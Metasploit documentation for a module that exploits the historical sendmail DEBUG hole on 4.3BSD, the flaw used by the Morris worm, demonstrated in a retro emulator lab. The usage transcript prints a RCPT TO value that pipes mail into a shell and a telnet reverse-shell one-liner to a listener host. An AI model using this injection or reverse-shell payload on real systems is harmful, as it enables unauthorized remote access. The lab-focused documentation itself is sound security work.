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GSoC/Meterpreter_Web_Console
William Vu 2018-10-20 14:10:17 -05:00
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## Intro
This module exploits `sendmail`'s well-known historical debug mode to
escape to a shell and execute commands in the SMTP `RCPT TO` command.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
## Setup
A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.
For manual setup, please follow the Computer History Wiki's
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
## Targets
```
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
```
## Options
**RPORT**
Set this to the target port. The default is 25 for `sendmail`, but the
port may be forwarded when NAT (SLiRP) is used in SIMH.
**PAYLOAD**
Set this to a Unix command payload. Currently only `cmd/unix/reverse`
and `cmd/unix/generic` are supported.
## Usage
```
msf5 exploit(unix/smtp/morris_sendmail_debug) > options
Module options (exploit/unix/smtp/morris_sendmail_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 25 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
msf5 exploit(unix/smtp/morris_sendmail_debug) > run
[*] Started reverse TCP double handler on 192.168.1.5:4444
[*] 127.0.0.1:25 - Connecting to sendmail
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
[*] 127.0.0.1:25 - Sending: DEBUG
[*] 127.0.0.1:25 - Sending: MAIL FROM:<GmWE2vWEViR4CLhBWOOOUVSMjJEr2NymDveA>
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
[*] 127.0.0.1:25 - Sending: DATA
[*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] 127.0.0.1:25 - Sending: export PATH
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4197|telnet 192.168.1.5 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.5 4444 >/dev/null 2>&1 &)'
[*] 127.0.0.1:25 - Sending: .
[*] 127.0.0.1:25 - Sending: QUIT
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo zqhqKJD7trW0E0Lp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "zqhqKJD7trW0E0Lp\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.5:64337) at 2018-10-20 14:08:03 -0500
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you
whoami
daemon
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
Would you like to play a game?
```